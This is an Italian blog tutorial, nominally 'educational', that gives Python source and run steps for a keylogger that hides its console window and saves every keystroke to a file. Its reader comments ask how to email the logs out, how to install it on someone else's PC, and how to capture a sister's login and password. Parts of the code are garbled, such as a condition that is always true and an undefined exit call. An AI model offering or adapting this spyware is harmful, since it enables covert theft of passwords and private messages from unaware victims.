Come creare un keylogger in soli 5 minuti

ad middle
SPONSORED LINKS

computer keyboard
Come tutti sicuramente saprete, un keylogger è un programma in grado di intercettare tutto ciò che l’utente digita sulla tastiera del proprio computer. E suppongo sappiate altrettanto bene che, proprio per questa sua caratteristica, il keylogger è un software che non sempre si presta ad usi propriamente leciti, tant’è vero che ormai quasi tutti gli antivirus dispongono di funzionalità in grado di riconoscere la presenza di un keylogger attivo in background.

Di fatto quindi l’installazione di un keylogger su un computer che non sia il proprio o comunque ad insaputa del legittimo proprietario, si configura come un vero e proprio reato di violazione della privacy: i dati intercettati (come ad esempio sessioni di chat, username e password di Facebook o dell’ home banking, email, …) infatti vengono normalmente salvati su un file di log che il possessore del keylogger recupera in un secondo momento o che addirittura gli vengono inviati automaticamente via email.

A scopo puramente didattico vedremo come sia possibile creare un semplice keylogger completamente funzionante, sfruttando la poternza di Python. Di seguito i passi da seguire:

  1. Scaricate ed installate i software necessari:
  2. Dal menu di avvio selezionate “Python 2.6 > PythonWin” per avviare l’editor
  3. Dal menù selezionate “File > New“, quindi scegliete l’opzione “Python Script” e date “OK
  4. Incollate il seguente sorgente (attenzione alle indentazioni) o in alternativa scaricate direttamente il file da questo link:
    import win32api
    import win32console
    import win32gui
    import pythoncom, pyHook
    win = win32console.GetConsoleWindow()
    win32gui.ShowWindow(win,0)
    def OnKeyboardEvent(event):
      if event.Ascii==5:
        _exit(1)
     if event.Ascii != 0 or 8:
       f=open('c:\output.txt','r')
       buffer=f.read()
       f.close()
       f=open('c:\output.txt','w')
       keylogs=chr(event.Ascii)
       if event.Ascii==13:
         keylogs='/n'
       buffer += keylogs
       f.write(buffer)
       f.close()
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()
  5. Salvate il file in c:\ come “logger.py“, quindi da PythonWin digitate CTRL+R: il keylogger verrrà avviato in background e fino a quando rimarrà in esecuzione registrerà sul file “C:\output.txt” tutto ciò che verrà digitato sulla tastiera.
ad middle
SPONSORED LINKS
Ti è piaciuto l'articolo?
Iscriviti alla newsletter per ricevere in tempo reale tutte le notizie e gli aggiornamenti!

Articoli correlati a "Come creare un keylogger in soli 5 minuti"


  • No Related Post

Commenti

14 Risposte to “Come creare un keylogger in soli 5 minuti”
  1. b3t scrive:

    Ciao, io invece vi consiglio ‘Simple Python Keylogger’:
    http://sourceforge.net/projects/pykeylogger

  2. sonocomesono scrive:

    ho usato home keylogger ma anzitutto non parte in automatico e in modalità nascosta e non registra quello che gli altri utenti ocn account limitato digitano. come posso risolvere? grazie

  3. Mario Baldoni scrive:

    Scusatemi, ma attivando il keylogger con PythonWin fin quando funzia??
    cioè, anche quando l’utente spegne il computer e poi lo riaccende il key è sempre in funzione???
    Grazie
    Ciao MarioM

  4. NewSasuke scrive:

    il kaylogger funziona sempre anche se lo spegne praticamente se il pc si spegne tu vedi le ultime lettere che ha digitato prima di spegnerlo quando lor iaccende se scrive ne vedi altre

  5. anonimo scrive:

    io ho scaricato il file ma no funziona
    quando lo apro appare una finestra del dos per nemmeno un secondo poi sparisce
    ma non mi ha creato nemmeno il file output.txt
    cosa dovrei fare ?

  6. davide scrive:

    @anonimo: devi installare anche Python e devi assicurarti che sia in PATH

  7. Leo scrive:

    davide nn ho capito a me fa la stessa cosa di anonimo, mi spiegeresti pls?

  8. leonardo scrive:

    scusate ma il link di pyhook non va… uno alternativo lo avete?

  9. sconosciuto scrive:

    mi spiegate tutto ? PER PIACERE vojo creare un keylogger o.o lol

  10. Russoski234 scrive:

    E se volessi fare in modo che il keylogger mi spedisca l’output.txt per email, o fare in modo di scaricarlo da un server??

  11. Marcelluzzo scrive:

    Raga, questa è la mia situazione.
    Il mio pc si è rotto, quindi posso usare quello di mia sore.
    Fra poco mia sore parte con i suoi amici ed io non posso restare senza pc.
    Se le metto sto file, dite che riesco a trovare il suo id e la sua password?
    Nel senso, me li scrive no?
    Grazie
    Marcello

  12. @Teddy scrive:

    il keylogger che si crea attraverso phyton…funziona solo in background o può essere controllato…?

  13. straniero22 scrive:

    O googlate un pò oppure ecco il download http://sourceforge.net/projects/pyhook/

  14. Marco scrive:

    scusate fin quì ho capito come scaricare ed installare il keylogger…
    ma per ricevere le informazioni di un’altro eventuale pc non dovrei farlo scarikare all’ALTRO pc?

Lascia un commento